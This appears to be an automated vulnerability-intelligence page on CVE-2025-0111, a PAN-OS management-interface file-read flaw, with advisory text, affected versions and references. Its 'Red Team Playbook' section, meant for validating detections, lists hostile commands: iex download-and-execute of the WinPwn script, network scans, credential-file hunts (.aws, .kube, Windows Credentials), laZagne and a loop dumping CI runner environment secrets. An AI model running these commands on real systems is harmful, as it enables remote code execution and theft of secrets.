CVE-2025-0111
Overview
This vulnerability is an authenticated file read flaw in Palo Alto Networks PAN-OS software, specifically affecting the management web interface component. The root cause lies in improper access control allowing an authenticated user with network access to read arbitrary files on the PAN-OS filesystem that are accessible by the "nobody" user. The flaw arises from insufficient restrictions on file read operations within the management interface's authentication context.
Vulnerability Description
An authenticated file read vulnerability in the Palo Alto Networks PAN-OS software enables an authenticated attacker with network access to the management web interface to read files on the PAN-OS filesystem that are readable by the “nobody” user. You can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue does not affect Cloud NGFW or Prisma Access software.
Impact
An attacker with valid credentials and network access to the management web interface can read sensitive files on the PAN-OS device that are accessible by the "nobody" user. This can expose configuration files or other sensitive information, potentially aiding further attacks or reconnaissance. The prerequisite is possession of a low-privileged authenticated account with network access to the management interface. The exposure of internal filesystem data can lead to information disclosure and compromise of device confidentiality within enterprise environments.
Solution
Palo Alto Networks recommends restricting access to the management web interface to trusted internal IP addresses as per their deployment best practices detailed at https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431. For detailed patch information and updates, refer to the vendor advisory at https://security.paloaltonetworks.com/CVE-2025-0111. Applying the latest PAN-OS updates that address this issue is advised to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (48)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:-:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h2:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h4:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h6:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.1.14 |
cpe:2.3:o:paloaltonetworks:pan-os:10.1.14:h8:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:-:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h1:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h12:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h16:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h18:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h19:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h21:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h3:*:*:*:*:*:*
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h6:*:*:*:*:*:*
|
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Paloaltonetworks | Pan-Os | 10.2.7 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.7:h8:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
11 eventsSighting activity recorded
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Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-0111 |
| security.paloaltonetworks.com |
GitHub CVE
vendor-advisory
|
https://security.paloaltonetworks.com/CVE-2025-0111 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-0111 |